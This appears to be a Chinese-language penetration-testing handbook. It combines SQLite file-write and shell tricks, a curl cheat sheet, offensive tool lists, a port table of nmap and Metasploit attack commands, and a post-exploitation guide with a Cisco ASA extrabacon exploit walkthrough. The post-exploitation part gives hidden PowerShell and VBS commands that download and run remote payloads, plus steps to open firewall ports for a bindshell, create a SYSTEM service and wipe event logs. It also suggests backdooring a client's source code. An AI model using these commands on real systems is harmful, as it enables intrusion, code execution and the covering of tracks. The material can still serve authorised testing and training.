root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
......
......
sqlite> .tables
data       pwn.data   pwn.shell  shell    
sqlite> DROP TABLE pwn.shell;

####写文件

sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit
┌─[✗]─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  file /tmp/evil.php
/tmp/evil.php: SQLite 3.x database
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  strings /tmp/evil.php
SQLite format 3
Itableshellshell
CREATE TABLE shell (code TEXT)
1<?php phpinfo();?>

####命令执行

sqlite> .shell id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
sqlite> .system id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

参考链接

http://www.tutorialspoint.com/sqlite/
http://atta.cked.me/home/sqlite3injectioncheatsheet

curl_hacking

常见操作

curl http://curl.haxx.se
curl http://site.{one,two,three}.com  
curl ftp://ftp.numericals.com/file[1-100].txt  
curl ftp://ftp.numericals.com/file[001-100].txt  
curl ftp://ftp.letters.com/file[a-z].txt  

curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html  

curl http://www.numericals.com/file[1-100:10].txt  
curl http://www.letters.com/file[a-z:2].txt  

curl -o index.html http://curl.haxx.se/  
curl http://curl.haxx.se/ > index.html  

curl -# http://curl.haxx.se/ > index.html  

curl -0 http://curl.haxx.se/  
curl --http1.1 http://curl.haxx.se/  
curl --http2 http://curl.haxx.se/  

curl -1 http://curl.haxx.se/  
curl --tlsv1 http://curl.haxx.se/

curl -2 http://curl.haxx.se/  
curl --sslv2 http://curl.haxx.se/

curl -3 http://curl.haxx.se/  
curl --sslv3 http://curl.haxx.se/

curl -4 http://curl.haxx.se/  
curl --ipv4 http://curl.haxx.se/

curl -6 http://curl.haxx.se/  
curl --ipv6 http://curl.haxx.se/

curl -A "wget/1.0" http://curl.haxx.se/  
curl --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" [URL]
curl --user-agent "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]

curl -b "phpsession=Testtest" http://demo.com/    
curl --cookie "name=Daniel" http://curl.haxx.se

curl -c cookies.txt http://curl.haxx.se/  
curl --cookie-jar cookies.txt http://curl.haxx.se

curl -d "username=admin&password=pass" http://curl.haxx.se/  
curl --data "birthyear=1905&press=%20OK%20"  http://curl.haxx.se/when.cgi
curl --data-urlencode "name=I am Daniel" http://curl.haxx.se
curl --data "<xml>" --header "Content-Type: text/xml" --request PROPFIND url.com

curl -e "http://referer" http://demo.com/  
curl --referer http://curl.haxx.see http://curl.haxx.se

curl --header "Host:" http://curl.haxx.se
curl --header "Destination: http://nowhere" http://curl.haxx.se

curl -D - http://curl.haxx.se/  
curl --dump-header headers_and_cookies http://curl.haxx.se

curl -L http://github.com/  
curl --location http://curl.haxx.se

curl --dns-servers 8.8.8.8 http://demo.com/  

curl --trace-ascii debugdump.txt http://curl.haxx.se/
curl --form upload=@localfilename --form press=OK [URL]
curl --upload-file uploadfile http://curl.haxx.se/receive.cgi
curl --user name:password http://curl.haxx.se
curl --proxy-user proxyuser:proxypassword curl.haxx.se

curl --cert mycert.pem https://secure.example.com

参考链接

$ man curl
http://curl.haxx.se/docs/manual.html
http://curl.haxx.se/docs/httpscripting.html
http://httpkit.com/resources/HTTP-from-the-Command-Line/

参考链接
  1. http://www.exploit-db.com/
  2. http://www.cvedetails.com/
  3. http://packetstormsecurity.com/
  4. http://www.securityfocus.com/bid
  5. http://nvd.nist.gov/
  6. http://osvdb.org/
  7. http://cve.mitre.org/
  8. http://sec.jetlib.com/
  9. http://0day.today/
  10. https://www.seebug.org/
  11. https://www.rapid7.com/db/
  12. http://zerodayinitiative.com/advisories/published/
  13. http://exploitsearch.net/
  14. http://nvd.nist.gov/download/nvd-rss-analyzed.xml
  15. http://www.intelligentexploit.com/
  16. https://wpvulndb.com/
  17. http://www.wordpressexploit.com/
  18. http://www.drupalexploit.com/
  19. http://www.openwall.com/lists/oss-security/
  20. http://exploitsearch.net/
  21. https://www.vulnerability-lab.com/

Part3 渗透测试工具

渗透测试工具 攻击可能是渗透测试中最迷人的部分之一了,但它通常是用暴力破解而不是精确制导来完成的。只有当你知道针对目标的一个特定漏洞很可能会成功的时候,你才应该发起一次攻击。即在利用漏洞之前,您应该知道目标是存在该漏洞的,当然,在防止特定漏洞利用的目标上可能仍会出现未知的保护措施。如果你作为一个渗透测试工程师或客户,无脑地发出大量的攻击数据是徒劳的,它们是无效请求,不会带来任何价值。首先做好前期工作,然后展开研究会更容易取得理想成果。

渗透测试操作系统

  • Kali - 为数字取证和渗透测试而设计的Linux发行版
  • ArchStrike - 安全专业人员和相关爱好者使用操作系统,基于Arch Linux
  • BlackArch - 为渗透测试工程师和安全研究员设计的操作系统,基于Arch Linux的发行版
  • NST - 网络安全套件发行版
  • Pentoo - 以安全研究为重点的操作系统,LiveCD启动,基于Gentoo
  • BackBox - 为渗透测试工程师和安全评估设计的操作系统,基于Ubuntu发行版
  • Parrot - 类似Kali的操作系统,支持多种架构

基本的渗透测试工具

  • Metasploit Framework - 世界范围内最广为使用的渗透测试软件
  • Burp Suite - 用于Web应用程序安全测试的集成平台
  • ExploitPack - 包含大量利用工具(Exploit)的图形化渗透测试工具
  • BeeF - 针对于浏览器攻击的框架项目
  • faraday - 协同渗透测试与漏洞管理平台
  • evilgrade - 较新的攻击工具框架
  • commix - 全自动操作系统命令注入和利用工具
  • routersploit - 针对路由器的全自动渗透测试工具
  • exploit-database - Offensive 安全团队的漏洞利用信息数据库集合

Docker for Penetration Testing

安全漏洞扫描器

  • Nexpose - 漏洞和风险管理软件
  • Nessus - 漏洞,配置和合规性评估
  • Nikto - Web应用程序安全扫描器
  • OpenVAS - 开源漏洞扫描器和管理软件
  • OWASP Zed Attack Proxy - 为Web应用程序设计的渗透测试工具
  • Secapps - 集成Web应用程序安全测试环境
  • w3af - Web应用程序攻击和评估框架
  • Wapiti - Web应用程序漏洞扫描器
  • WebReaver - 为 Mac OS X设计的Web应用程序漏洞扫描器
  • DVCS Ripper - Rip网络可访问(分布式)版本控制系统:SVN / GIT / HG / BZR
  • arachni - Web应用程序安全扫描框架

网络工具

  • nmap - 安全审计和网络嗅探的免费扫描器
  • pig - Linux平台的网络数据包构造工具
  • tcpdump/libpcap - 一个运行在命令行下的通用数据包分析工具
  • Wireshark - 一个同时支持Unix和Windows平台的网络协议分析工具
  • Network Tools - 各种网络工具: ping, lookup, whois, 等等
  • netsniff-ng - 网络嗅探中的瑞士军刀
  • Intercepter-NG - 多功能的网络嗅探套件
  • SPARTA - 针对网络基础设施的渗透测试工具
  • dnschef - 为渗透测试员设计,可高度定制化的DNS代理
  • DNSDumpster - 在线DNS侦察和搜索服务
  • dnsenum - 用于枚举域名DNS信息,尝试区域传输并进行子域名爆破和DNS反向查询的Perl脚本
  • dnsmap - 被动DNS网络映射工具
  • dnsrecon - DNS枚举脚本
  • dnstracer - 追踪DNS服务器获取信息的来源并获取完整的DNS链路
  • passivedns-client - 提供一个用于查询多个被动DNS提供商的库和查询工具
  • passivedns - 一个用于记录所有DNS服务器返回信息从而用于被动DNS设置的网络嗅探器
  • Mass Scan - TCP端口扫描器,通过异步传输SYN数据包实现,可在5分钟内扫描整个互联网
  • Zarp - Zarp是一个以内网为主的网络攻击工具
  • mitmproxy - 为渗透测试员和软件开发者设计的支持SSL的HTTP代理
  • mallory - 通过SSH代理HTTP和HTTPS
  • Netzob - 针对通信协议的流量构造和模糊测试的逆向工程
  • DET - DET是同时使用单个或多个隧道进行数据渗漏的POC(概念证明实例)
  • pwnat - 攻击防火墙和NAT的漏洞
  • dsniff - 一套用于网络审计和渗透测试的工具
  • tgcd - 一个简易实用的Unix网络程序,可以将基于TCP/IP的网络服务入口扩展到防火墙之外
  • smbmap - 一个方便的SMB枚举工具
  • scapy - 一个基于Python的交互式书包操作程序和调用库
  • Dshell - 网络取证分析框架
  • Debookee (MAC OS X) - 拦截你网络上任何设备的流量
  • Dripcap - dripcap 数据包分析工具

无线网络工具

  • Aircrack-ng - 一个用于无线网络审计的工具集合
  • Kismet - 无线网络的检测工具,嗅探工具和IDS(入侵检测系统)
  • Reaver - 针对WiFi防护设置的暴力攻击
  • Wifite - 自动化无线网络攻击工具
  • wifiphisher - 针对WiFi的自动化钓鱼攻击

SSL 分析工具

Web 安全

  • WPScan - WordPress的黑盒漏洞扫描器
  • SQLmap - 自动化SQL注入检测和数据库接管工具
  • weevely3 - Webshell管理工具
  • Wappalyzer - Wappalyzer分析当前网站所使用的技术
  • cms-explorer - CMS Explorer 用于分析各种cms开发的网站所运行的各种特定模块,插件和主题
  • joomscan - Joomla网站的漏洞扫描器
  • WhatWeb - 网站指纹识别
  • BlindElephant - Web应用指纹识别
  • fimap - 用于扫描,构造,审计,利用远程文件包含或本地文件包含漏洞甚至谷歌搜索查找存在该漏洞的网站
  • Kadabra - 自动化本地文件包含漏洞扫描和利用工具
  • Kadimus - 本地文件包含漏洞扫描和利用工具
  • liffy - 本地文件包含漏洞利用工具

十六进制编辑器

  • HexEdit.js - 在线十六进制编辑器
  • Hexinator (商业) - 世上最好的十六进制编辑器

密文破解

Windows实用工具

  • Sysinternals Suite - 故障排除实用程序
  • Windows Credentials Editor - 用于列出已登录会话并添加,修改,列出和删除关联的凭据
  • mimikatz - 针对Windows系统的权限凭据提取工具
  • PowerSploit - 基于powershell的
  • 攻击框架
  • Windows Exploit Suggester - 根据目标系统的安全补丁扫描已知的安全漏洞
  • Responder - 有毒的 LLMNR, NBT-NS and MDNS,多用于建立各种钓鱼认证服务器
  • Empire - Empire 是一个纯PowerShell实现的后渗透攻击套件
  • Fibratus - 用于攻击和调试Windows内核的工具

###Linux实用工具

DDoS(分布式拒绝服务) 工具

  • LOIC - 一个为Windows设计的网络压力测试工具(现已支持Mac OS——译者注)
  • JS LOIC - LOIC的浏览器版本,JavaScript实现
  • T50 - 更快的网络压力测试工具

社会工程学工具

  • SET - 来自TrustedSec设计的社会工程学工具套件

公开资源情报分析工具或平台

  • Maltego - 来自Paterva设计的开源智能取证专用软件
  • theHarvester - 电子邮件地址,子域名和人名的收割机
  • creepy - 一个地理位置相关的开源情报工具
  • metagoofil - 原始数据收割机
  • Google Hacking Database - Google dorks的数据库,可用于侦察
  • Censys - 通过每天用ZMap和ZGrab扫描收集主机和网站上的数据
  • Shodan - Shodan是世界上第一个物联网设备搜索引擎
  • recon-ng - 一个Python开发的全功能侦察工具
  • github-dorks - 一个用于扫描GitHub的repos/organizations来发现潜在敏感信息泄露的命令行工具
  • vcsmap - 一个基于插件的工具,用于从公共版本控制系统扫描敏感信息
  • ZoomEye - ZoomEye是一个网络空间搜索引擎,让用户找到特定的网络组件(IP,服务等等)

匿名工具

  • Tor - 一个洋葱路由免费匿名工具
  • I2P - 隐形互联网工程
  • Nipe - 一个使所有流量通过Tor网络发出的脚本

逆向工程工具

  • IDA Pro - 一个支持Windows,Mac OS和Linux平台的反汇编工具和调试器,支持多种架构
  • IDA Free - IDA v5.0的免费版本
  • WDK/WinDbg - Windows 驱动套件和WinDbg调试器
  • OllyDbg - 一个强调二进制代码分析的x86调试器
  • Radare2 - 开源跨平台逆向工程框架
  • x64_dbg - 为Windows设计的x64/x32开源调试器
  • Immunity Debugger - 编写漏洞利用和分析恶意软件的强大工具
  • Evan’s Debugger - Linux平台类似ollydbg的调试器
  • Medusa disassembler - 一个开源的交互式反汇编程序
  • plasma - 针对x86/ARM/MIPS的开源交互式反汇编工具. 生成伪代码并自动代码高亮和缩进
  • peda - python编写的GDB调试辅助工具

CTF Tools

  • Pwntools - CTF夺旗赛的破解工具

常用网址

  1. https://github.com/
  2. https://sectools.org/
  3. https://packetstormsecurity.com/
  4. https://tools.kali.org/
  5. https://blackarch.org/tools.html
  6. https://tools.pentestbox.org/
  7. http://www.toolswatch.org/
  8. http://www.kitploit.com/
  9. http://www.darknet.org.uk/
  10. http://seclist.us/
  11. http://sourceforge.net/

端口渗透

Ports

端口号 协议 应用和服务 命令
1 tcp blackice
7 tcp echo
11 tcp systat
13 tcp daytime
15 tcp netstat
17 tcp quote of the day
19 tcp character generator
21 tcp ftp
22 tcp ssh msf > use auxiliary/scanner/ssh/ssh_login
nmap –script ssh2-enum-algos 192.168.108.197
nmap –script ssh-hostkey 192.168.108.197
nmap –script sshv1 192.168.108.197
23 tcp telnet msf > use auxiliary/scanner/telnet/telnet_login
nmap -p 23 –script telnet-brute –script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s target
nmap -p 23 –script telnet-encryption target
nmap -p 23 –script telnet-ntlm-info target
25 tcp smtp nmap -p 25 –script smtp-brute target
nmap –script smtp-commands.nse [–script-args smtp-commands.domain=domain] -pT:25,465,587 target
nmap -p 25,465,587 –script smtp-ntlm-info –script-args smtp-ntlm-info.domain=domain.com target
nmap –script smtp-open-relay.nse [–script-args smtp-open-relay.domain=domain,smtp-open-relay.ip=address,…] -p 25,465,587 target
nmap –script=smtp-vuln-cve2010-4344 –script-args=”smtp-vuln-cve2010-4344.exploit” -pT:25,465,587 target
nmap –script=smtp-vuln-cve2010-4344 –script-args=”exploit.cmd=’uname -a’” -pT:25,465,587 target
nmap –script=smtp-vuln-cve2011-1720 –script-args=’smtp.domain=domain‘ -pT:25,465,587 target
nmap –script=smtp-vuln-cve2011-1764 -pT:25,465,587 target
26 tcp ssh
37 tcp rdate
49 tcp TACACS+
53 tcp dns
53 udp dns
67 tcp DHCP
68 tcp dhclient
69 udp TFTP,BitTorrent
70 tcp Gopher
79 tcp Finger
80 tcp HTTP,malware
81 tcp HTTP,malware
82 tcp HTTP,malware
83 tcp HTTP
84 tcp HTTP
88 tcp Kerberos use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
102 tcp Siemens S7
110 tcp pop3
111 tcp RPC rpcinfo -p 192.168.1.111
msf >use auxiliary/scanner/nfs/nfsmount
119 tcp NNTP
123 tcp NTP
123 udp ntp ntpdc -n -c monlist target
nmap -sU -p 123 -Pn -n –script ntp-info target
nmap -sU -p 123 -Pn -n –script ntp-monlist target
msf > use auxiliary/scanner/ntp/ntp_readvar
137 tcp NetBIOS nbtscan -A target
143 tcp IMAP
161 udp snmp snmpcheck -p 161 -c public -t target
snmpwalk -v1 -c public target
msf > use auxiliary/scanner/snmp/snmp_enum
175 tcp IBM Network Job Entry
179 tcp BGP
195 tcp TA14-353a
311 tcp OS X Server Manager
389 tcp ldap ldap://target/dc=com
443 tcp https openssl s_client -host www.yahoo.com -port 443
sslscan www.yahoo.com
tlssled www.yahoo.com 443
nmap –script sslv2 www.yahoo.com
nmap –script ssl-cert www.yahoo.com
nmap –script ssl-date www.yahoo.com
nmap –script ssl-enum-ciphers www.yahoo.com
nmap –script ssl-google-cert-catalog www.yahoo.com
msf > use auxiliary/pro/web_ssl_scan
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf > use auxiliary/server/openssl_heartbeat_client_memory
445 tcp Microsoft-DS Active Directory, Windows shares
Microsoft-DS SMB file sharing
smbclient -U root -L target
smbclient -U root //target/tmp
rpcclient -U “” target
msf > auxiliary/admin/smb/samba_symlink_traversal
465 tcp smtps
500 udp ike
502 tcp modbus
503 tcp modbus
512 tcp
513 tcp
514 tcp
515 tcp Line Printer Daemon
520 tcp RIP
523 tcp IBM DB2
554 tcp RTSP
587 tcp SMTP mail submission
623 tcp IPMI
626 tcp OS X serialnumbered
631 tcp CUPS Service error
636 tcp ldaps
771 tcp Realport
789 tcp Redlion Crimson3
873 tcp rsync rsync -a user@host::tools/
nmap -p 873 –script rsync-brute –script-args ‘rsync-brute.module=www’ target
nmap -p 873 –script rsync-list-modules target
msf >use auxiliary/scanner/rsync/modules_list
902 tcp VMware authentication
992 tcp Telnet(secure)
993 tcp IMAPs
995 tcp POP3s
1023 tcp telnet
1025 tcp Kamstrup
1099 tcp Remote Method invocation use exploit/multi/misc/java_rmi_server
1194 tcp openvpn
1200 tcp Codesys
1234 udp udpxy
1202 tcp linknat
1434 udp MS-SQL monitor
1604 Citrix, malware
1723 tcp pptp thc-pptp-bruter -v -u username -n 4 target < pass.txt
1741 CiscoWorks
1833 MQTT
1900 tcp bes,UPnP
1911 Niagara Fox
1962 PCworx
2000 iKettle,MikroTik bandwidth test
2049 tcp nfs showmount –all target
showmount –exports target
mount -t nfs target:/ /mnt/nfs/
2121 tcp ftp msf > use auxiliary/scanner/ftp/ftp_login
2082 tcp cpanel
2083 tcp cpanel
2086 WHM
2087 WHM
2123 GTPv1
2152 GTPv1
2182 Apache Zookeeper
2222 tcp SSH, PLC5, EtherNet/IP
2323 tcp telnet
2332 tcp Sierra wireless(telnet)
2375 Docker
2376 Docker
2404 IEC-104
2455 CoDeSys
2480 OrientDB
2628 Dictionary
3000 ntop
3128 tcp squid
3299 tcp sap msf > use auxiliary/scanner/sap/sap_router_portscanner
3306 tcp mysql msf > auxiliary/scanner/mysql/mysql_login
nmap –script mysql-brute target
nmap –script mysql-databases target
nmap -p 3306 –script mysql-dump-hashes target
–script-args=’username=username,password=passwordtarget
nmap -p 3306 –script mysql-enum target
nmap -p 3306 –script mysql-users target
nmap -p 3306 –script mysql-query –script-args=’query=”query“[,username=username,password=password] target
3310 tcp ClamAV
3386 GTPv1
3388 RDP
3389 RDP
3541 PBX GUI
3542 PBX GUI
3632 tcp distccd msf > use exploit/unix/misc/distcc_exec
3689 DACP
3780 Metasploit
3787 Ventrilo
4022 udpxy
4369 tcp Erlang Port Mapper Daemon nmap -p 4369 –script epmd-info target
4440 tcp rundeck
4500 IKE NAT-T(VPN)
4567 Modem web interface
4070 VertX/Edge door controller
4800 Noxa Nport
4911 Niagara Fox with SSL
4949 Munin
5006 MELSEC-Q
5007 MELSEC-Q
5008 NetMobility
5009 Apple Aitport Administrator
5038 tcp Asterisk Call Manager http://code.google.com/p/sipvicious/

$ ncat -v 192.168.108.196 5038
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.108.196:5038.
Asterisk Call Manager/1.1
action: login
username: admin
secret: amp111

Response: Success
Message: Authentication accepted
action: command
command: core show help
5432 tcp postgresql
5060 udp sip msf > use auxiliary/scanner/sip/options
5222 XMPP
5269 XMPP Server to Server
5353 mDNS
5357 Mirosoft-HTTP API/2.0
5432 Postgresql
5555 tcp hp data protector msf > use exploit/windows/misc/hp_dataprotector_cmd_exec
5577 Flux LED
5601 tcp kibana
5632 PCAnywhere
5672 RabbitMQ
5900 tcp vnc msf > use auxiliary/scanner/vnc/vnc_none_auth
msf > use auxiliary/scanner/vnc/vnc_login
msf > use exploit/multi/vnc/vnc_keyboard_exec
nmap –script vnc-brute -p 5900
nmap –script vnc-info -p 5900
5901 vnc
5938 TeamViewer
5984 CouchDB
5985 tcp winrm msf >use exploit/windows/winrm/winrm_script_exec
msf >use auxiliary/scanner/winrm/winrm_auth_methods
msf >use auxiliary/scanner/winrm/winrm_cmd
msf >use auxiliary/scanner/winrm/winrm_login
msf >use auxiliary/scanner/winrm/winrm_wql
6000 tcp x11 xwd -root -screen -slient -display 192.168.1.108:0 > out.xwd
convert out.xwd out.png
6379 tcp redis redis-cli -h 127.0.0.1 -p 6379
msf >use auxiliary/scanner/redis/file_upload
msf >use auxiliary/scanner/redis/redis_login
use auxiliary/scanner/redis/redis_server
6380 tcp redis
6082 tcp varnish
6667 tcp ircd backdoor msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
6881 BitTorrent
6969 TFTP,BitTorrent
7001 tcp weblogic
8080 tcp jekins Jekins Console
println “cmd.exe /c dir”.execute().text

msf >use auxiliary/scanner/http/jenkins_enum
msf >use exploit/multi/http/jenkins_script_console
8083 tcp vestacp
8089 tcp jboss
8101 tcp apache karaf
8180 tcp apache tomcat msf > use exploit/multi/http/tomcat_mgr_deploy
8443 tcp https
8554 tcp rtsp
8649 tcp ganglia
9009 tcp Julia
9151 tcp Tor Control
9160 Apache Cassandra
9200 tcp elasticsearch msf >use exploit/multi/elasticsearch/search_groovy_script
9418 tcp git
10000 tcp virtualmin/webmin
11211 tcp memcache msf > use auxiliary/gather/memcached_extractor
$ nc x.x.x.x 11211
stats\r\n
13579 Media Player classic web interface
15672 tcp rabbitmq htto login - guest/guest
17185 VxWorks WDBRPC
18083 tcp vbox server
27017 tcp mongodb msf >use auxiliary/scanner/mongodb/mongodb_login
$ mongo host:port/database
MongoDB shell version: 2.6.12
> help
28017 tcp mongodb
37777 Dahua DVR
44818 EtherNet/IP
49153 WeMo Link
50000 tcp sap
50030 tcp hadoop
50070 tcp hadoop
51106 Deluge(HTTP)
54138 Toshiba PoS
55553 Metasploit
55554 Metasploit
62078 Apple iDevice
64738 Mumble

常用网址

  1. http://www.rfc-editor.org/search/rfc_search.php
  2. http://packetlife.net/
  3. https://www.leanpub.com/shodan

part4 后渗透

0x01 前言

后渗透是渗透测试的关键组成部分。这就是您将自己与普通黑客区分开来的地方,实际上可以从渗透测试中提供有价值的信息和情报。后渗透针对特定系统,识别关键基础设施,并针对公司最重视的信息或数据,以及它试图保护的信息或数据。当你渗透一个又一个的系统时,你应该尝试着展示出那些对业务有最大影响的攻击。

在后渗透中,进行系统攻击时,应该花时间确定各个系统的功能以及不同的用户角色。例如,假设您了解了域基础架构系统,并以企业管理员身份运行或具有域管理权限。您可能是域管,但怎么与Active Directory通信的系统呢?公司的财务应用程序如何?你能否操控这个系统,然后在下一个支付阶段中,把所有的钱从公司转到别的账户上?目标的知识产权如何?

例如,假设您的客户是一家大型软件开发商,它将客户编码的应用程序发送给客户以供制造环境使用。你是否会在自己的源代码加上后门,实质上是让所有的客户都受到损害,那会损害他们的品牌可信度。

后渗透是一个棘手的事情,您必须花时间了解哪些信息可供您使用,然后将这些信息哪些又有利于你。攻击者通常会花费大量的时间在被攻陷的系统上上。像恶意攻击者一样思考 - 具有创造性,快速适应,依靠自己的智慧而不是自动化工具。

远程管理

Command Description
NET USE \\ip\ipc$ password /user:username 与远程服务建立一个ipc连接,如果成功,您可以尝试查看,查询….具有正确的权限.
NET USE z: \\ip\share$ password /user:username 将远程共享映射为本地驱动器z:
systeminfo /S ComputerName /U username /P password 此工具显示本地或远程计算机的操作系统配置信息,包括服务包级别.
tasklist /S SERVER /U DOMAIN\username /P password 显示远程机器上当前正在运行的进程的列表.
taskkill /S SERVER /U DOMAIN\username /P password 杀死远程服务器中的进程.
powershell.exe -w hidden -nop -ep bypass -c “IEX ((new-object net.webclient).downloadstring(‘http://ip:port/[file]’))” 从远程服务器执行代码.
powershell.exe -w hidden -nop -ep bypass -c “(new-object net.webclient).DownloadFile(‘http://ip:port/file‘, ‘C:\Windows\temp\testfile’)” 从远程服务器下载文件.
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File test.ps1 本地执行test.ps1
bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file 创建一个名为systemrepair的工作来从远程服务器上下载文件.
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^”Msxml2.XMLHTTP^”):Set Shell = CreateObject(^”Wscript.Shell^”):Post.Open ^”GET^”,strUrl,0:Post.Send():Set aGet = CreateObject(^”ADODB.Stream^”):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > wget.vbs

cscript.exe wget.vbs http://ip:port/filename C:\Windows\temp\filename
用vbs下载文件
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^”MSXML2.XMLHTTP^”):objXMLHTTP.open ^”GET^”, strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^”^^” ^& shellcode ^& ^”^<^/B64DECODE^>^”:Set oXMLDoc = CreateObject(^”MSXML2.DOMDocument.3.0^”):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^”B64DECODE^”).nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^”Scripting.FileSystemObject^”):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^”\^” ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^”\^” ^& ^”test.exe^”:Dim adodbstream:Set adodbstream = CreateObject(^”ADODB.Stream^”):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^”Wscript.Shell^”):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

cscript.exe %TEMP%\msf.vbs http://ip:port/vbspayload.txt
下载并执行metasploit vbs payload.
PsExec.exe \\192.168.206.145 -accepteula -u username -p password cmd.exe /c ver 远程执行Windows命令,并返回结果
wmic /node:SERVER /user:DOMAIN\username /password:password process call create “cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt” 在远程服务器上创建一个新进程。 没有命令结果返回.

PROXY

Command Description
NETSH INTERFACE portproxy add v4tov4 listenport=LPORT connectaddress=RHOST connectport=RPORT [listenaddress=LHOST protocol=tcp] 将数据从本地端口传输到远程地址的指定端口.
set http_proxy=http://your_proxy:your_port
set http_proxy=http://username:password@your_proxy:your_port
set https_proxy=https://your_proxy:your_port
set https_proxy=https://username:password@your_proxy:your_port
在命令行下使用代理

Whitelist-白名单

Command Description
NETSH FIREWALL show all 显示域/标准配置文件的允许的程序配置.
NETSH FIREWALL add allowedprogram C:\Windows\system32\cmd.exe cmd enable 在防火墙允许的应用程序白名单中添加一个程序。
NETSH FIREWALL delete allowedprogram cmd 从防火墙allowedprogram Whitelist删除一个项目,您也可以使用路径来删除它.
NETSH FIREWALL show all 显示域/标准的端口配置.
NETSH FIREWALL add portopening tcp 4444 bindshell enable all 将tcp端口4444添加到端口白名单中.

Service

Command Description
sc create servicename type= own type= interact binPath= “c:\windows\system32\cmd.exe /c cmd.exe” & sc start servicename 创建恶意服务,并获得本地系统特权.

Scheduler

Command Description
net use \\IP\ipc$ password /user:username
at \\ComputerName time “command”
AT命令安排命令和程序在指定的时间和日期在计算机上运行。 net time [/domain]显示当前时间.

Logs

Command Description
del %WINDIR%*.log /a /s /q /f %WINDIR%目录中删除所有*.log文件.
wevtutil el 列出系统保存的不同日志文件.
for /f %a in (‘wevtutil el’) do @wevtutil cl “%a” 清除特定日志的内容.
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security 清除特定的事件日志

参考链接

  1. How to execute metasploit vbs payload in cmd.exe ?
  2. Hacking Windows Active Directory
  3. How to dump windows 2012 credentials ?
  4. How to use PowerSploit Invoke-Mimikatz to dump credentials ?
  5. How to use vssadmin ?

How-to-hack-Cisco-ASA-with-CVE-2016-6366

Cisco ASA - CVE-2016-6366

思科自适应安全设备(ASA)软件的简单网络管理协议(SNMP)代码中的漏洞可能允许经过身份验证的远程攻击者重新加载受影响的系统或远程执行代码。

该漏洞是由于受影响的代码区域中存在缓冲区溢出。 当在虚拟或物理思科ASA设备上启用该漏洞时,该漏洞会影响所有版本的SNMP(版本1,2c和3)。 攻击者可以通过向受影响系统上的启用SNMP的接口发送精心设计的SNMP数据包来利用此漏洞。 攻击者可能允许攻击者执行任意代码并获得对系统的完全控制或导致受影响系统的重载。 攻击者必须知道SNMP字符串才能利用此漏洞。

注意:只有指向受影响系统的流量可用于利用此漏洞。 此漏洞仅影响以路由和透明防火墙模式以及单个或多个上下文模式配置的系统。 此漏洞只能由IPv4流量触发。 攻击者需要了解SNMP版本1和SNMP版本2c中配置的SNMP公共字符串或者SNMP版本3的有效用户名和密码。
思科发布了解决此漏洞的软件更新。 此通报的变通办法部分列出了缓解措施。

如何登录思科ASA?

如果您对Cisco ASA设备一无所知,请尝试使用nmap或自定义工具/方法发现有用的东西。
如果启用snmp,我们可以尝试使用metasploit破解密码。

msf auxiliary(snmp_login) > set PASSWORD public
PASSWORD => public
msf auxiliary(snmp_login) > set RHOSTS 192.168.206.114
RHOSTS => 192.168.206.114
msf auxiliary(snmp_login) > run

[+] 192.168.206.114:161 - LOGIN SUCCESSFUL: public (Access level: read-write); Proof (sysDescr.0): Cisco Adaptive Security Appliance Version 9.2(1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

现在,CVE-2016-6366可以帮助我们渗透远程cisco设备。

msf auxiliary(cisco_asa_extrabacon) > show options

Module options (auxiliary/admin/cisco/cisco_asa_extrabacon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   MODE       pass-disable     yes       Enable or disable the password auth functions (Accepted: pass-disable, pass-enable)
   RETRIES    1                yes       SNMP Retries
   RHOST      192.168.206.114  yes       The target address
   RPORT      161              yes       The target port
   TIMEOUT    1                yes       SNMP Timeout

msf auxiliary(cisco_asa_extrabacon) > run

[*] Building pass-disable payload for version 9.2(1)...
[*] Sending SNMP payload...
[+] Clean return detected!
[!] Don't forget to run pass-enable after logging in!
[*] Auxiliary module execution completed

如果成功利用,请尝试用telnet登录。 攻击者可以不用密码登录到思科设备。

$ telnet 192.168.206.114
ciscoasa> ?
  clear       Reset functions
  enable      Turn on privileged commands
  exit        Exit from the EXEC
  help        Interactive help for commands
  login       Log in as a particular user
  logout      Exit from the EXEC
  no          Negate a command or set its defaults
  ping        Send echo messages
  quit        Exit from the EXEC
  show        Show running system information
  traceroute  Trace route to destination

如何检查思科版本?

ciscoasa> show version

Cisco Adaptive Security Appliance Software Version 9.2(1)
